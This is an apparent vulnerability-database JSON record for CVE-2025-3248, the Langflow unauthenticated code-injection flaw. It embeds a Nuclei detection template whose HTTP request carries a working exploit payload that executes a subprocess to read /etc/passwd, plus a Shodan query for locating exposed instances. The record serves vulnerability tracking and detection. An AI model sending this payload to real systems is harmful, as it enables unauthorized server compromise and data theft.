{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-3248/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-3248/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-3248/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-3248/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-3248/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-3248"},"sightings":{"href":"/api/v1/sightings/cve-2025-3248"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.9999,"kev":true,"percentile":0.99985},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-3248.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-3248\n\ninfo:\n  name: Langflow AI - Unauthenticated Remote Code Execution\n  author: nvn1729\n  severity: critical\n  description: |\n    Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code through crafted POST requests to the /api/v1/validate/code endpoint, achieving complete server compromise.\n  remediation: |\n    Upgrade to Langflow version 1.3.0 or later that properly validates user input before passing it to code execution functions.\n  reference:\n    - https://github.com/langflow-ai/langflow/pull/6911\n    - https://github.com/langflow-ai/langflow/releases/tag/1.3.0\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-3248\n    cwe-id: CWE-306\n    epss-score: 0.9999\n    epss-percentile: 0.99985\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"Langflow\"\n  tags: cve,cve2025,python,rce,injection,kev,langflow,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"code\": \"@exec('raise Exception(__import__(\\\"subprocess\\\").check_output([\\\"cat\\\", \\\"/etc/passwd\\\"]))')\\ndef foo():\\n  pass\"}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100e3e490297341c33e36c1f5d141d567628a073bea9dd2d7395c9426bf34aba4b9022100b59dca2528396e837f15a30c0a04065b086361438df3ac7b9a2b7f7c33e29348:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-3248"}